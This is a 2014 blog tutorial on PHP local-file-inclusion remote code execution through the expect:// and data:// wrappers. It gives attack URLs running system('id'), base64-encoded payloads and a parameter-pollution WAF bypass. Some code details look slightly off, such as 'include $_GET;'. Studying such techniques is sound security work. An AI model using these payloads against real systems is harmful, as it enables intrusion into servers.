Monday, June 16, 2014

Remote Code Execution Through PHP Wrappers

Since I've not seen some of these methods covered around here (except for php://filter and php://input), I decided to put up some material on 'em. Basically, they are more than self-explanatory but I still feel the need to tutorialize the process. First of all, in order to execute anything, you'd need to comply with the following conditions:
  • $_GET parameter
- Which we'll be passing the payload to
  • Version of PHP
- 4.3+ for expect://
- 5.2+ for data://

  • allow_url_include function enabled
- In order to inject through the parameter

php://expect
The expect:// wrapper is not enabled by default as it's an extension from the PECL package (consider it installed for now). The syntax it accepts is:
expect://[command]
Consider this small snippet running on the backend:
<?php

include $_GET;
//..
?>
Now we can pretty much run everything php-valid through it. so take the following URL for instance:
http://example.com/Keeper.php?page=expect://id

php://data
The data:// wrapper bears the same concept. Syntax followed:
data://text/plain;base64,[command encoded in base64]
or we can simply:
data://text/plain,[command]
We'll take under account that we'll be using the above inclusion of the $_GET parameter so there be two possible scenarios:
http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U=
http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>
In case of a WAF, filtering out code that is after the wrapper as in the last examples, we can use parameter pollution to pass/split our payload into two parts, resulting in both parameters being concatenated and separated by a comma likewise:
http://example.com/Keeper.php?page=data://text/plain&page=<?system('id');?>

Related Posts:

  • Cross Frame Scripting Definition XFS or CFS abbreviated from Cross Frame Scripting is a form of web-based attack that relies on a browser exploit. The attack is based on iFrames. Let's say we have an iFrame and another one inside of it. The … Read More
  • Elementary Cryptography Read More
  • Cookie Manipulation About In this tutorial, I'll go through the processes of exploiting/manipulating cookies. A cookie, also known as browser cookie, is usually a small piece of data sent from a website and stored in a user's browser while a us… Read More
  • LDAP Injection Definition First off, let's start from the very beginning. Lightweight Directory Access Protocol or abbreviated (LDAP) is a protocol from the OSI model that appends to the Application Layer (#7). As of its abbrevi… Read More
  • The Art of Hacking What Is The Hacker? While most people think of hackers as of people who are deprived from any kind of social life and all they do is cram codes executed on black cascading windows. In reality a hacker is something way more d… Read More

0 comments:

Post a Comment